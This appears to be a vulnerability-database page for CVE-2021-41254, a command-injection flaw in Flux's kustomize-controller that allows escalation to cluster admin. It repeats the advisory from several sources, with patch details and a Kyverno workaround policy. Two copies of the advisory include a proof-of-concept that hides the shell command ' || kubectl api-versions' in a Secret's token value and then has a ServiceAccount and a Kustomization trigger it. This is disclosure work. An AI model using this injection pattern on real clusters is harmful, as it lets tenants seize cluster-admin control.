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CVE-2021-41254

Privilege escalation to cluster admin on multi-tenant environments

8.8 HighFix available

kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.82%Up 1.0 points since Nov 13, 2021
90%50%10%1%

What each source reports

CVE List Score used 8.8

Privilege escalation to cluster admin on multi-tenant environments

kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

Record
CVE-2021-41254
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
EUVDEUVD-2021-2283 8.8

kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

Record
EUVD-2021-2283
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-35rf-v2jv-gfg7 8.8

Privilege escalation to cluster admin on multi-tenant environments

Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.

Impact

Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.

Exploit

To exploit the command injection, first we create a secret with a shell command:

kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"

Then we create a Service Account that refers to the above Secret:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: exploit
  namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token

And finally a Kustomization that runs under the above Service Account:

apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
  name: exploit
  namespace: default
spec:
  interval: 5m
  path: "./deploy/"
  sourceRef:
    kind: GitRepository
    name: app
  serviceAccountName: exploit

When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.

Patches

This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image.

Workarounds

To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-sa
spec:
  validationFailureAction: enforce
  background: false
  rules:
    - name: validate-sa
      match:
        resources:
          kinds:
            - ServiceAccount
          namespaces:
            - tenant1
            - tenant2
        subjects:
          - kind: User
            name: [email protected]
          - kind: User
            name: [email protected]
          - kind: ServiceAccount
            name: kustomize-controller
            namespace: flux-system
          - kind: ServiceAccount
            name: helm-controller
            namespace: flux-system
      validate:
        message: "Invalid service account"
        pattern:
          X(secrets): "*?"

References

Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.

For more information

If you have any questions or comments about this advisory:

Record
GHSA-35rf-v2jv-gfg7
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
NVD 8.8

kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

Record
CVE-2021-41254
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS 2.0
9.0 HighAV:N/AC:L/Au:S/C:C/I:C/A:C
Weakness
CWE-78
Updated
2026-11-02
OSV 8.8

kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

Record
CVE-2021-41254
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-35rf-v2jv-gfg7 8.8

Privilege escalation to cluster admin on multi-tenant environments

Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.

Impact

Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.

Exploit

To exploit the command injection, first we create a secret with a shell command:

kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"

Then we create a Service Account that refers to the above Secret:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: exploit
  namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token

And finally a Kustomization that runs under the above Service Account:

apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
  name: exploit
  namespace: default
spec:
  interval: 5m
  path: "./deploy/"
  sourceRef:
    kind: GitRepository
    name: app
  serviceAccountName: exploit

When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.

Patches

This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image.

Workarounds

To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-sa
spec:
  validationFailureAction: enforce
  background: false
  rules:
    - name: validate-sa
      match:
        resources:
          kinds:
            - ServiceAccount
          namespaces:
            - tenant1
            - tenant2
        subjects:
          - kind: User
            name: [email protected]
          - kind: User
            name: [email protected]
          - kind: ServiceAccount
            name: kustomize-controller
            namespace: flux-system
          - kind: ServiceAccount
            name: helm-controller
            namespace: flux-system
      validate:
        message: "Invalid service account"
        pattern:
          X(secrets): "*?"

References

Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.

For more information

If you have any questions or comments about this advisory:

Record
GHSA-35rf-v2jv-gfg7
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVBIT-kustomize-2021-41254 No score

Privilege escalation to cluster admin on multi-tenant environments

kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

Record
BIT-kustomize-2021-41254
Updated
2026-11-02
OSVGO-2022-0260 No score

Privilege escalation to cluster admin on multi-tenant environments in github.com/fluxcd/kustomize-controller

Privilege escalation to cluster admin on multi-tenant environments in github.com/fluxcd/kustomize-controller

Record
GO-2022-0260
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/fluxcd/kustomize-controller
Go
before 0.15.0
0.15.0
kustomize
Bitnami
before 0.15.0
0.15.0

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-41254 is a high vulnerability (CVSS 8.8) in Fluxcd Kustomize-controller, published November 12, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.82%, the 78th percentile. Fixed in github.com/fluxcd/kustomize-controller 0.15.0.

References

MoveEnter Open